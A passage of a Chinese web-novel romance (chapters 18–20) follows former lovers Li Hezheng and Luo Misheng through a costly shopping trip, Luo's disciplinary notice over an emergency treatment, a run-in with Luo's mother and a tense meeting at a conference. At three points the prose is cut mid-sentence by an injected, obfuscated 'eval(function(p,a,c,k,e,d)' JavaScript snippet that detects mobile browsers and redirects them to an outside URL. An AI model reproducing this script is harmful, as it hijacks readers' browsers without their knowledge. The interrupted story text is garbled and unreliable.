李和铮没脾气,摇下车窗点烟:“方向盘在你手里,你说什么是什么,我当我被绑了。” 于是就这样,下班后的李老师被旧情人绑着,去阿玛尼选了两套新西装。骆大夫对精英风的穿搭极有经验,像个无情的服装指导,进店不用SA推荐,给他从头到脚从里到外精致到领巾袖扣,全置办齐。 常年卫衣牛仔裤的人浑身不适,强撑着耐着性子,试好了就脱,也没穿出来给指导看。试衣服试得精神出走,一个没留神,骆弥生去刷卡了。 李和铮:? 被SA毕恭毕敬地送出店门,看到账单上六位数的数字后的李和铮:?!?! “不是,哥?”小叔叔一震惊开始乱叫,“你真是我哥,你这是干嘛呢。” 骆弥生被他一个字叫得眼角抽抽,笑出声:“哎。” “滚滚滚蛋,”李和铮受不了了,掏兜摸手机,“几年不见你变成资本主义了,来,拿来,我再看看是多少钱……” 骆弥生把小票拿走,揉成一团,顺手扔进垃圾桶。 李和铮:…… 他无奈,记得大概数字,反正超了二十个了,点开他对话框,输入了二十万要转,一笔竟然限额。 李和铮气笑了:“艹,我他妈平时是真不花钱。你这搞得我如坐针毡了。我啥家庭条件啊我买两身衣服顶三年房租?快点,给我卡号,闹呢。” 骆弥生提着大袋子,心情很好,高岭之花的面相柔和,躲开了李和铮抓过来的手,同他开个半真半假的玩笑:“你把房子退了住我家里,就能把房租钱省出来了。” “那倒也不至于,虽然没你骆公子阔气,住个房还是住得起的。”李和铮不接他话里的意思,“行了,不闹了,你发我卡号,不然我睡不着觉了。” “别跟我算这么清楚。”骆弥生移开目光不看他,“你接受不了,就当我是老同学送给你平安回国的见面礼吧,送晚了点。实在想还礼……饿了,请我吃饭。” 有来有回的交往只会无限拉近彼此的关系,李和铮花了几秒钟考虑要不要翻脸得了,对于他们这个现状来说,终止关系的最好方式竟只有鼻子不是鼻子脸不是脸。 之前……他已经把话说得很难听了,骆弥生怎么连左耳朵进右耳朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679436|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出都没有呢。 对上骆弥生镜片下期许的目光,这脸翻不过去。他们两个加起来六十多岁,摔了东西面对面地说绝交早十五年还干得出来,现在真拉不下脸,也没精力。 李和铮举手投降:“想吃什么。咱吃个贵的行吗。” “听您安排,李老师。”骆弥生微笑着走近他。 两人拔脚上了顶层的一家黑珍珠餐厅,一顿饭花了李老师四千多,想想都不够那衣服的零头,长长地叹口气。 而这如坐针毡的情绪延续到了他进到骆弥生家里。 “骆公子,士别三日,”李和铮环视着这个目测三百平的大平层,极简风的装修显得更空旷,啧啧摇头,“自己一个人住得过来吗?这你家里藏个人都不知道吧。” “前几年我姐夫生意上很顺,我爸妈都有股份,沾光的。”骆弥生弯腰给他拿拖鞋,在看他一只踩掉另一只后,又要弯腰给他把鞋摆整齐,被他一手抵住肩膀,强硬地抬起身。 他推推滑落的眼镜,知道李和铮只是嘴上调侃,实际上他根本不在乎这些外物,顶多是觉得欠他个二十多万的人情,会为此挂怀。 ——而他目前能要的只有这种挂怀。 “所以你搬过来住,”骆弥生趁着他的话头,“这样这房子使用率还能高一点。” 李和铮啪嗒着拖鞋,溜达着参观这个房子,感叹:“这我肯定住不了啊,走去上厕所都腿疼。” “主卧有卫生间。”骆弥生跟上他。 “我没鸠占鹊巢的习惯。”李和铮刀枪不入,“指个路,哪个是书房?咱们该开工了。” “好。”骆弥生见好就收,提上他的电脑包,拉他的胳膊,“这边。” 书房是用次主卧做的,面积大,书桌也大,两个人并排坐都很宽敞。李和铮看着通到顶的书架,左边放的书很杂,有文学有小说,右边整整齐齐码着医学相关的教材,厚得不忍直视,有原文书,还有《变态心理学》一类的书。 学生时代他们两个都挺拔尖儿的,但与他的一心向外的野路子相比,骆弥生一直是规矩的好学生,潜心学术,并志向在此。 一个医学生想读出来太难了,其中辛酸苦楚就算是旁观者都于心不忍。 同样在理想之路上退而求其次的李和铮本不想干涉他人的因果,只是此刻,站在这面厚重的知识墙前,想到身边人从前上学时的种种刻苦,突然想问了:“我记得,你说你当时是因为身体吃不消,决定辞职的,怎么了?” “没怎么。强度太大,老生病。”骆弥生正在拿书桌立架上的文件夹,“你习惯手写草稿,给。” “谢了。”李和铮抬手接过。 骆弥生脱手时扫了一眼文件夹上的贴签,面色微变:“不对,不是这个……” 他有点着急地伸手过来拿,李和铮没拿稳,反而被他的指尖触及,推了出去。 文件夹倒翻着掉下去,里面的纸张纷纷扬扬落地。 “呀,抱歉。”李和铮本能地要捡,骆弥生忙蹲下身。 瘸腿的人蹲不下去,无意识地看,不经意一错眼,在某一张纸上看到了硕大的红字抬头:关于对规培生骆弥生…… 李和铮眉心微蹙,弯下腰,一把将它拿起来,发现手里拎着的是一沓装订好的文件,这是首页。 骆弥生:“嘶,你别……” 李和铮已经看清楚了上面的字,面色沉了下去。 ——关于对规培生骆弥生的处分通知。 18. 煮青蛙 李和铮不用开口问骆弥生,红头文件标题下的第一行字告诉了他处分的原因:关于对规培生骆弥生违规实施跨专科抢救的处分通知。 他快速看下去,一页页翻,从那些复杂的这规定那纪律的大量条款中,找到了事件本身。 患者是一位35岁的女性,产后后遗症引发了继发性高血压,还有一个李和铮不认识的细胞瘤,术后,在双相情感障碍的躁期急性发作期转入科室,突发高血压危象,高压飙到了220。 文件上详细记载了骆弥生的处理过程: 14:07他播打了两通他的二线医生的电话,都占线,因为对方在处理自杀风险患者; 14:09他打通了心内科急诊的电话,却被告知降压紧急处理需要等候二十分钟以上; 14:10他启动了床边的急救设备,根据一连串李和铮看不懂的数值判断出,如果延迟降压可能会引发脑出血。 在14:12患者出现强烈心悸后,已经参加过心内科规培的骆弥生当机立断,将抢救车必备药品乌拉地尔泵入。 直到这个环节,他做错的只是越级抢救。 可见鬼的是这个患者刚刚结束了那个不认识的细胞瘤手术,体内残留病灶对乌拉地尔过度敏感,是一种突发性的特殊情况。 骆弥生泵入的剂量本是标准的,却不想……简言之就是劲儿给大了,血压降猛了,给患者弄休克了,成了抢救事故。 李和铮眉头紧锁,抬眼看骆弥生。而骆弥生低着眼睛,避着他的目光。 抢救记录显示14:14骆弥生开了乌拉地尔的医嘱,但二线医生的签字是在14:52才补上的。 出事儿后,对方更是明确表明,自己只是补了签字,同意转科,根本没有参与抢救环节。 谁来泵都会过敏,万幸人只是晕了。处分的结论是延长规培半年,全院通报批评,扣了骆弥生一万二的规培补助金。 李和铮摇了摇手里的纸:“你是因为这个辞职的?” “不全是。”骆弥生把文件夹整好,轻轻从他手里把这沓纸抽走,放回立架上,再把正确的那个夹子拿出来,“后面确实是身体不行,免疫力紊乱,老发低烧。” 李和铮靠在书桌边上,双手抱臂,盯着骆弥生:“后面还有什么?” 骆弥生避重就轻,捡愿意说的给他讲:“后来羚羊他们几个和我同期规培的联名提交了请愿书,要求重新规范紧急情况下规培生的权限。指出上级医师到现场得大于十分钟,等待本质上是放弃抢救。” “这没错。” “为了这个事,他们还开了听证会,但规章制度和临床实况永远存在冲突。如果放开这个权限,乱来的人肯定会多,所以没有结果。” 李和铮沉默。 骆弥生抽出几张草稿纸,铺在桌子上,从抽屉里拿出钢笔放在他旁边:“你先坐,我再去搬把椅子。” 李和铮没动,等他回来,看他的眼睛:“你还有什么没说的。” 骆弥生眨巴下眼:“没了。我没受到其他处理……你看,我执医还在,也有处方权。” 李和铮一点头,不再多问。诚然,他有点替旧情人不痛快,但也止步于好奇。 原来分别后,他们经历了差不多的事。 骆弥生让李和铮坐在书桌原配的靠背椅上,自己坐搬进来的餐桌椅,打开电脑,找到去年他代表校医院出席发言,针对在校大学生心理问题临床一线的报告范文。 李和铮一看见这种报告文学就一个头两个大,眯着眼睛,一手抵在嘴上,强行让这些内容灌进脑子,文字工作者的被动技能自动触发——拆稿子。 骆弥生安静地等了他会儿:“看完了?” “昂。”李和铮叹口气,“知道怎么写了,但不想写。用AI吧。” 骆弥生忍俊不禁:“用我也可以。” 李和铮老实不客气:“我列观点,你执笔?” “嗯。” “算了,那我也太欺负你了。”李和铮拿起他的钢笔,拉过草稿纸,先试了试笔头,定睛看,老玩意儿了,一起买的,现在难找像他俩一样执着于钢笔的人。笔身上掉漆的地方有修补的痕迹,“还是它?没用坏啊。” 骆弥生看他:“我一直很长情。” “得了。”李和铮对他的一语双关闭口不言,在草稿纸上唰唰写起来。 字如其人,李和铮的笔迹龙飞凤舞,潇洒苍劲,形似草书。骆弥生作为医学生,学写处方也练了一手难认的字,他两个人的笔记本,除了彼此,别人都很难辨认。 骆弥生凑近他,像从前坐在图书馆一起写作业那样。窗外树影摇曳,暗蓝色的窗上倒映着两人并肩的身影,安静到只有彼此的呼吸和墨水流泻变成文字的声响,早已远走万里,仍似年少。 “尊敬的各位同仁,亲爱的同学们……”约莫二十多分钟,草稿纸一页写满,李和铮念出来都觉得浑身不适,瞬间中二病发作般,“开头必须这么说吗?没有开场白不行吗。” 骆弥生沉浸在静谧的氛围里,睖睁地盯他片刻,才点头。 李和铮挑眉,勾起嘴角,笑得有点痞气:“看什么呢。” 骆弥生脸热,忙摇头。 李和铮不管他,重新看自己的草稿,继续念了两句:“作为一名曾经在战地一线摸爬滚打的记者,如今站在讲台上的教育者,我始终坚信:战地报道不仅是技术的较量,更是人性的丈量……我操,真不要脸,还教育者。” 骆弥生噗嗤一笑:“你现在就是。” “自己都听不下去。”李和铮起身,伸懒腰,“剩下交给你,尊敬的骆老师。我把微信挂你电脑上,你帮我润润,要发给谁审我也没记住,你看着来。” 骆弥生直管点头。 李和铮垂眼看看他,笑了:“你说你这么大的房子,咱俩别挤一张床睡了。给我找身睡衣,我睡客房,洗澡去。” 骆弥生:……? 大意了。果然还是应该去住他的出租屋,一居室,只能睡一起。 客卫里,李和铮拿到了骆弥生从衣帽间里找出来的、自己十年前的旧睡衣,看着干净柔软的布料,不明不白地又叹了口气。 —————— 论坛选在了雁栖湖会展中心举办,于23号世界读书日开幕,为期三天,李和铮的汇报被排在第二天下午。届时无数大咖云集,媒体扎堆,各大高校也选送了学生代表队参会。 久不在国内工作,应该说从没在国内真的工作过的退休叔叔被这种大会草台班子的程度惊到。出发前一天才报完参会人员的Z审、车牌号、是否住宿等信息,录了门禁刷脸,临下班才把打印好的车证送到各个教研室。 依然在借宿中的李和铮靠坐在骆弥生家客厅的小水吧上,百无聊赖地踩着高脚凳转,啧啧称奇:“我以为这种级别的大会都提前紧锣密鼓了,怎么都是现挂的?” “是,而且议程还会现场更改,你上台的时间可能有变,要时刻盯着群里通知。”骆弥生从厨房里出来,把煎好的牛排摆到他面前,“你就在这儿吃?” “我都行。你这搞得我都舍不得走了,”李和铮从他手里接过刀叉,调侃,“每天吃饭有人管,上班车接车送,衣服都不用自己洗。” 骆弥生立刻抬头:“把房子退了?正好被淹了,你不算违约,押金也得全额退你。” 李和铮笑笑,慢条斯理地切牛排:“麻烦你几天得了,你还真打算一直这么麻烦。” “我不觉得麻烦,”骆弥生坐到他对面的高脚凳上,认真地看他,“我们以前也这样。” “你说得我多不是人呢,洗衣服拖地我也干好吧,只是做出来的饭人不能吃。”李和铮回敬他。 骆弥生只是微笑着看他,眉眼柔和,冷然的镜片挡不住他眼中的期许。 ——他不是第一个瞬间意识到他现在是一只被骆弥生用温水煮的青蛙。 但那又怎样呢。他们之间的问题并不是因为当年他被提分手,耿耿于怀,面对旧情人想复合的意图明显,他还吊着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679437|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家。而是他真的不需要了。 不住骆弥生家,他可以住酒店。没有车接车送,他可以坐地铁——如果他想买车早买了。就连那个该死的汇报稿,没写过可以拆稿子,没有骆弥生帮他,他也可以去求助苏启然,求助教研室,求助任何可以问到的人,再不济AI一个行不行? 为什么一定要是骆弥生。李和铮提前进入了给人生做减法的阶段。骆弥生、骆弥生这个人所代表的感情、存在的意义,在过去十年间被减掉,减干净,他看不到任何需要把他加回来的必要。 成年人各自为自己的行为负责。骆弥生愿意做的一切是因为他“愿意做”,而他不愿意给更多多余的回应,是他“不愿意”。旧情人上了桌,自负盈亏。 不过他们之间的交往也不必刻意保持边界感,那也是多余的事——反正也没有。 李和铮扎起一块切好的牛排,递向骆弥生:“骆大夫做饭辛苦了。你不吃?” 骆弥生就着他的手把这一块咬走,点点头,转身回厨房。 第二天大会在九点开幕,要六点钟起床,路上得一个半小时起步,还要提前收拾得人模狗样。李和铮在客房睡前,骆弥生专门来叮嘱他:“明早我叫你起,你得起。” 李和铮气笑了:“当我幼儿园?我这么大人了还赖床。” 上辈子就幼儿园毕业的退休叔叔被旧情人用担忧的目光注视后,给自己上了五点半的闹钟,起来洗澡。 等他洗完出来,骆弥生已经穿戴整齐,银灰色的西装,白衬衫,打了深灰色的领带,配上他那眼镜,十足的精英范儿,拒人于千里之外的气场,不顶用,一手举着发胶,另一手提着给他置办的那身十几万的行头。 李和铮笑着冲他流里流气地吹口哨:“帅啊。” 骆弥生才不会被他逗:“快换,我给你弄头发。” 全套黑西装配黑衬衫,恰到好处的剪裁勾勒起他宽阔的肩线和精壮的胸肌,腰掐得很细,西裤包裹着他的长腿,光看造型,完全标准的宽肩窄腰大长腿。 李和铮对着穿衣镜中的自己挑眉,偏身看了看,理理胸口绷紧的布料。什么啊,回来都懒成什么样了,竟然还有这种身材,上次试穿他只是套在身上确定能穿就脱了,没看清穿起来是这种效果。 骆弥生在后面快把他盯穿了,手里拿着暗红色的领带,本来要给他打,迟疑片刻,转身回衣帽间找出一条藏蓝色鎏金勾线的领巾,再走上前,脸红了。 李和铮配合地欠身低头,让骆大夫给他把领巾堆结在领口,再看看镜子:“怎么这么骚呢?” 骆弥生一言不发,抿着唇,转手给他换珍珠袖扣,把和领巾同色系的口袋巾两角折,塞进他的胸兜。 隔着衣服摸上他的肌肉,骆弥生的脸红得能煎鸡蛋。 李和铮看他这样儿,白弄了一副精英扮相,笑出声:“大哥,你不至于吧。也就是钱花哪哪好,人靠衣装马靠鞍。” 骆弥生还是说不出话,咬着下唇,去拿梳子,把他按到高脚凳上坐下。 平日里总是软趴趴搭在额前的头发全朝后背起,一露出整张脸,一眼看过去便知他是个二洋鬼子。 李和铮单脚点地,瘸的右腿伸长,骆弥生站在他身前,腿间。 额发都背后了,他两鬓的早白发便格外显眼,像是特意点染出的,给这张依然年轻的脸添了几分岁月的韵味。在喷完发胶等干的空档,骆弥生修长的手指不受控制地抚摸过他雕塑般的眉骨,停留在那道疤痕上,抚平他断眉凌乱的毛流。 而后又沿着他高挺的鼻梁轻抚下去,停在唇边。 李和铮哭笑不得,铁灰色的眼珠流转着异彩,抬眼看他:“你差不多得了,至于吗搞这么肉麻。” “为什么长白头发?”骆弥生开口的声音喑哑,在清晨的宁静中更显磁性。 “愁得呗。好歹也算在外头疲于奔命。” 他们一站一坐,骆弥生垂眼,与他对视片刻,双手捧起他的脸,弯下身。 这姿势着实来不及躲避。 19. 装饰品 不好躲避也能躲避,在这个吻落下来的瞬间,李和铮朝一旁偏过脸,让骆弥生吻在了他的唇角。 柔软的,一触即分。骆弥生在他开口之前松开手,什么都没做似的直起身,退后两步,神色如常。 李和铮保持着偏头的动作没动,自下而上地看着眼前的旧情人,神色冷淡,哼笑一声:“好亲吗?” 骆大夫镇定自若,推推眼镜:“嗯。” “我不是说过,不要这样做吗?”李和铮抬手松了松领巾,站起身,上前一步,逼近他,压迫感随之而来。 骆弥生喉结上下滚动,站着没动:“我……收点给你做头发的好处。” 一点身高差让李和铮居高临下地睨着骆弥生,两人不动声色地对峙着。 几息后,李和铮无所谓地笑了笑,轻轻摇摇头,错开身往门口走,经过时用力拍拍骆弥生的肩膀。 这手劲儿,骆弥生被他拍得生疼,松了口气。忙追上去,拿出那双大几万的鳄鱼皮鞋,把鞋拔子一并递给他。 李和铮在门口的穿鞋凳上踩进这双皮鞋里,漆皮长头系带的,翘起来在地上转了转,鞋跟敲出脆响:“啧啧啧,你真行骆弥生,你给我打扮的,骚得我都不好意思出门。” 他嘴上这么说,站起身后,没看出来半点不好意思,还是那幅很松弛的样子,先一步出了家门。 骆弥生跟着他出去,看他打扮起来后瘸得更刺眼,胸口闷闷的,旋即想起来什么:“你等我一下。” 李和铮刚按了电梯,看一向情绪稳定的骆大夫神神叨叨地跑回家,斜倚在电梯门边的大理石墙上,挑眉:“又干嘛去了。” 再出来的骆弥生手里拿着一块金色的腕表,示意他抬手。 李和铮无奈,配合着他:“净弄些个没用的。这啥呀?” “江诗丹顿的。”骆弥生不听他话里的嫌弃,给他戴好,金色和他领巾上的鎏金相得益彰。 李和铮不太懂牌子,抬起手腕看了看,想也知道又是一堆房租钱:“衣服贵它贵?” 骆弥生很诚实:“它贵。不是我自己买的,我姐开完音乐会从意大利带回……” 说话间,旁边的电梯门开了,李和铮还倚得歪斜,瘸的右腿搭在身前点地,整个造型介于风流雅痞与斯文败类之间,不经意地一抬眼,和从电梯里出来的人对了个正着。 两厢对望,一片尴尬的沉默。 骆弥生站正了:“妈。” 李和铮也不得不站正,拉拉西服外套,露出社交微笑:“阿姨,好久不见。” 穿着居家服提着食品袋的江颜教授从震惊中回过神,比他们俩还要无所适从,推眼镜的动作和骆弥生如出一辙:“呃,小和回国了?好久不见。” “是的,阿姨,回来有一阵子了。”李和铮保持微笑,“回来后比较兵荒马乱,所以也……一直没去拜访您。” 拜访个屁,谁没事儿干拜访前男友他妈。 “没事,都好就行。”六十多岁的江颜跟着尬聊,打量过他又打量他俩,“我下来给冰箱里添点吃的。may和我说最近有人来借住,家里不方便,没想到……原来是你。” 这下误会大了。本来只是正常的不方便,这下好像是那种不方便。李和铮无语凝噎,要怎么解释:“对的阿姨,我就是……” “妈,”骆弥生适时打断他,“我俩要去开大会,得走了……啊不对,我去拿包。” 骆弥生转身再次进家,独留李和铮跟江颜在电梯厅里大眼瞪小眼。 李和铮干笑,主动交代:“阿姨,我也回校当老师了。我俩现在是同事。” 就是除了是同事以外没别的意思……自己都觉得苍白。对着人又不能说“您别误会”,人家心想我有什么好误会的,你们还有什么可误会的…… “噢,当老师挺好的,安全,也有寒暑假。”江颜比他尴尬得多。 从前激烈反对过,又接受了,自我说服权当另一个也是儿子;本以为他俩能好好地过下去,看他们也愈发觉得般配,后来这孩子一声不响地没影了;她本来还挺生气,又听自家儿子说,他是被儿子气跑的…… 十多年不见,曾经尖锐锋利的男孩子已经变成了成熟男人,气场全长出来,站在这里满是不显山不露水的沉淀后的淡然,笑容温文尔雅……江颜只好又推了推眼镜:“教什么课?新闻吗。” “对,就是本系的……您和叔叔身体还好吧?” “我们都挺好,谢谢关心。你呢?”江颜下意识地看向门口,骆弥生终于提着他们两个的包出来了。 “我也挺好的,阿姨,”李和铮抬手接过自己的那个,“那我们走了啊。” “路上开车慢点。” 李和铮在她的注视下拐着进了电梯,电梯门关上,把江颜皱起的眉关在外头。 骆弥生干咳一声:“我没想到她会下来,她应该是以为咱们已经走了。” 李和铮无语到升天,自问都觉得自己有暧昧的嫌疑,有气无力地靠着电梯:“你要不去拿这个表,我们早走了。” “但很配你。” “我谢谢你啊,我不配它。” 两人都笑了。 他们上了车,莫名其妙被见了家长的李和铮瘫在副驾驶上,摇下车窗先给自己点烟,骆弥生正在打导航,进来条微信。 江颜问他:小和的腿怎么了? 骆弥生沉默,自家妈妈是外科顶尖大拿。他回给她:在外面受了伤,膝盖换了一个,术后不知道怎么成这样了 江颜:带去我那里检查吧 骆弥生:嗯,等他愿意了再去 江颜:#擦汗 ……他追不到人,说不动人家,这要怎么和妈妈说。 骆弥生摸摸鼻子,在李和铮注意到他之前赶紧打好导航,并提醒:“你起来点,头发会乱的。” 李和铮根本不听,还更没好气地往里靠了靠,闭眼就睡。 骆弥生无奈,给他把车窗抬起来,怕他被晨风吹着。 出门前耽误的这会儿功夫,抵达会场停好车,他们是最后一批去签到处领参会证的,放眼望去没有一个认识的同僚。 李和铮把嘉宾证随便挂脖子上,一手抄在裤兜,在人来人往的正厅里帅得很乍眼,鹤立鸡群。而他只是看向那些挂着工作证扛着摄像机的媒体兄弟们。 骆弥生填完他们两人的签到表,走到他身旁,顺着他的目光看过去:“手痒了?” “有的人就是天生牛马命。”李和铮故作夸张地叹气,“让我站台上吹b,我不乐意。还不如让我扛个机器,提供一下传播服务。” “但拍这个你也不愿意。”骆弥生中肯的。 “可不是吗。”李和铮笑笑,异域风情的浓颜与享誉国际的中式华贵装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679438|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修珠联璧合,仿佛他天生就该出入这种场合,而不是趴在枪林弹雨的污泥里。 骆弥生移开目光,引着他往主会场里走:“一个不幸的消息。大会的新版议程,你我下午都要参加青年教育工作者如何顺应时代浪潮的主题圆桌会谈。” 李和铮脚步一顿,满眼震惊:“扯呢吧?我现在回去还来得及吗?” 骆弥生忍俊不禁,拽住他的胳膊继续往里带他:“忍一下吧。而且我在会谈的名单里看见一个熟人的名字。” “苏启然?”李和铮刚要松口气,有老苏在,学术也是轻松学术,有他的扯淡打底,他们说啥都行。 “不是,唐未徊。” 李和铮:…… 气不仅没松,堵回来了。李和铮气笑了:“那种闷葫芦也能会谈上了?我怎么记得他从来不参与任何媒体活动。再说他就修个金缮他跟学术有半毛钱的关系,他教育谁了?” “学术不光是学,还有术。”骆弥生自己说得也觉得牵强,“可能……也就咱们这个年龄段稍微有点成就的,都能当个代表吧。” 李和铮除了想死没别的。现在把他空投到加沙吧,他绝对能管控好他的ptsd…… 他们进入主会场时主持人已经结束了开场致辞,第一位嘉宾上台了,两个人猫着腰去前排找印有自己名字的座椅,李和铮又要弯腰又要瘸腿,更显眼,走了两步索性直起身,光明正大地迟到。 骆弥生的座位被排在他斜后排,隔了好几个人,他们分别落座后,李和铮的心终于平静了许多,靠在椅背上,跷起二郎腿,开始听讲。 ——这不尽如人意的、可怜的退休生活。 他浑身是花里胡哨的装饰品,在挂满花里胡哨装饰品的大厅里,听被花里胡哨的辞藻包裹起来的学术成果,这些人类先锋精神也成了人们彰显自我成就的装饰品,学术不下一线,开论坛不过是走个过场。 闪光灯声不绝于耳,总控台后人们忙前忙后。他知道,为了这样一场大会,各家媒体的工作群里会马不停蹄地工作,图片直播同步编写通稿,视频素材两小时导一次,导出去立刻安排剪辑…… 那样的工作他虽然喜欢,但他干不来。哪怕他不需要写通稿,白逐雪只需要他回去写深度稿件,他也不愿意做。 而这样的工作虽然多余,却是他能干得来的,也只能这么干,因为他再也吹不了带着硝烟的风了。 可惜这段经历,之于他,不过是人生中可有可无的装饰品,摘掉就丢了。包括……不远处的那个人。 李和铮耐着性子,听了一个多小时,实在不行了,起身准备去洗手间,再去外头抽根烟。 他站起来转身,和不知道是不是老盯着他的骆弥生对上眼神,冲他点下巴,示意自己要出去。 骆弥生跟着他起身。 两个人像坏学生一样溜号儿,出了会场,李和铮无奈:“干嘛跟着我,你也去?” “怕你跑回去。” “扯。” 李和铮还是单手抄兜,西服笔挺,头发也没睡乱,大厅里很多在拍场照的摄影师都冲着他端起镜头。而他神色懒散,不紧不慢地拐着往卫生间走。 要进门时,迎面撞上了一个人。 看清彼此后,李和铮脚步猛刹,骆弥生撞上他,撞得他晃了晃。 而他看着眼前的人,瞳孔骤缩,变了脸色。 20. 复合了 对着身前那个人,李和铮背在身后的手抓紧了西装的下摆,指节用力到发白,把挺阔的布料抓皱。 几乎从未见过他情绪刹那间这样失控的骆弥生,当下注意到他正在极力克制,便抬手,握上了他的手。 被柔软温热的掌心包裹,李和铮绷起的肌肉慢慢放松,失态是转瞬即逝的事,再看向眼前人时,一切如常,露出笑来:“辉哥,怎么在这儿碰上了。” 能被他叫“哥”的人可不多,骆弥生好奇地越过他的肩膀朝前看。 一头白灰色短发的周泽辉看起来四十多岁,脸颊上有疤,皮肤黑,有种充满侵略感的野性,像草原上等待捕猎的豹子。他本来正在甩手上的水,动作停了好一阵儿,才又甩了两下。 他上前两步,特别不讲究地手在墨绿色的西装上擦了两下,冲着李和铮伸出来:“照和。” 见面叫笔名,这么大反应,骆弥生明白了这是什么人。他安抚地捏了捏李和铮背在身后没松的手。 “咱们挡门了,来这边。”李和铮在他伸手的同时让开卫生间的过道,顺势没有去握他的手,连象征性地目光往下移移都没有。 而后,他把身后还握着他手的骆弥生拽了出来:“介绍下,这位是周泽辉,我在哥伦比亚驻站时的头儿。辉哥,这是我对象,骆弥生,你叫他may就行。” 骆弥生脑子里“叮——”:他说的是对象,不是前对象,说明自己又变成了一块挡箭牌。只是不知道挡的是什么,难道又是他在外招惹来的烂桃花?看着不像,烂桃花不会让他有这么大反应。 骆大夫脑子转得飞快,剧本来得突然他接得稳当,演技毫无破绽,一手还被李和铮牵着,另一手已经伸出去,得体地握住了周泽辉尬在空中的那只手:“辉哥你好,前些年阿和承蒙你照顾。” “啊,你好你好,”周泽辉笑着握住他晃了两下,“may,原来老听照和提起你,我记得,你好像是医生,对吧?” ——那这不是客套话,是真提过他。骆弥生含笑点头,心头微热。 有人经过,李和铮没松开牵着骆弥生的手,把他手一起背到身后。单腿受力站着,身子一歪,本来是瘸,这扮相下显得痞气,冲着周泽辉笑得很程式化:“辉哥你回来了也不招呼我一声,咱们聚聚?” “嗐,我不像你,我没退路。”周泽辉目光跟着他的手走,再看他的脸,面色不大好看,“也就偶尔回来参加一两次这种大会,增加履历,还是要走的。” “这种大会有什么可镀金的。”李和铮只笑,“不如多写两篇报道。” “没办法,哥哥才疏学浅,在外头吃了这么多苦,还想往上爬,多混点经验。”周泽辉抬手点点他,笑骂,“你小子,还是这么傲。” 李和铮语气平淡:“哪儿的话。傲不傲的,别背了良心就行,我没什么要求。” 周泽辉盯着他的脸,目光阴沉:“咱们出门在外,生死有命,做事当然全凭良心。” 李和铮不卑不亢,迎上去:“说得是,问心无愧就行。” 这两人唇枪舌剑打哑谜,骆弥生听个七七八八。从前李和铮很少当谜语人阴阳别人,辩手习惯单刀直入,哪怕不够圆融,只有气得牙痒痒的时候才说两句反话。 现在的他早已成了场面话大师,社交起来滴水不漏,这会儿说的每个字都指向一个事实:他看起来被这个辉哥愧对过。 哪种愧对?骆弥生的手不自觉地紧了紧。 李和铮以为他是发送了不想聊的信号,会错意地捏他手回应:“那辉哥,我俩先去放水了,你赶紧回去吧,得空儿再聊。” “啊,行。”周泽辉抬手想拍他肩膀,被他拽着骆弥生不动声色地避开,头也不回地进了卫生间,骆弥生只好回过身,挥挥手。 周泽辉再次尬在空中的手也朝他挥挥,看他两人在转角消失不见,神经质地冷笑两声,转身也走。 进了卫生间的李和铮当着两个人的面把骆弥生拽进了一个隔间里。 骆弥生:…… 好gay的行为。好端端的学术大会真是有伤风化。他默默落锁。 李和铮垂眼站着,安静地等待这个狭小的空间给他充能,定了好一阵儿,才低低叹口气:“真他妈晦气死了。” 他很少这样直言,骆弥生担忧地看他:“那个人……” 李和铮摇摇头,不加掩饰地流露出疲惫,后退两步,靠在隔间的木板墙上。 骆弥生迟疑着想开口。 李和铮双手抱臂,闭着眼睛,有天眼似的:“你如果要说担心弄坏头发,我就揍你了。” 骆弥生摸摸鼻子,心虚,确实准备说这个来着:“好吧。那我能问吗?” 李和铮没问他要问什么,直接回答:“别多想,跟他没什么感情纠葛,我在外头活命都费劲还扯那种淡,犯不着。只是在工作上有一堆撕扯不清的烂事,我是换完膝盖后去的哥伦比亚……算了,不想提这个。至于你……他确实对我有点意思,而且他这人吧,挺那什么的。” 骆弥生能懂,看着确实不大像正常人。 他敏锐地捕捉到了一个信息:他的腿伤果然还有别的问题,根本不是术后后遗症这么简单。 但他没开口,只是安静地听李和铮继续说。 “为了拒绝他,我说我对象在国内等我活着回去呢,他是个天才医生,之类的。只要看他意思不对,我就讲一两件我们过去的事。” 骆弥生垂眼,苦笑:“我早就当上挡箭牌了。” “也不全是。”李和铮像猫头鹰,睁开一只眼睛看他,“说这些话的时候都在想着你。想到你,挺伤心。” 一句话说得骆弥生感觉自己要心碎。 “你……”他鼻头都发酸,时间和经历能让一个犟种吐露出他的伤心处。 李和铮看看他,笑了,终于放松下来,冲骆大夫摊手:“所以,我为了让我别伤心,把那些都放下了。时间长了,早习惯了。” 骆弥生冲他张开双臂。 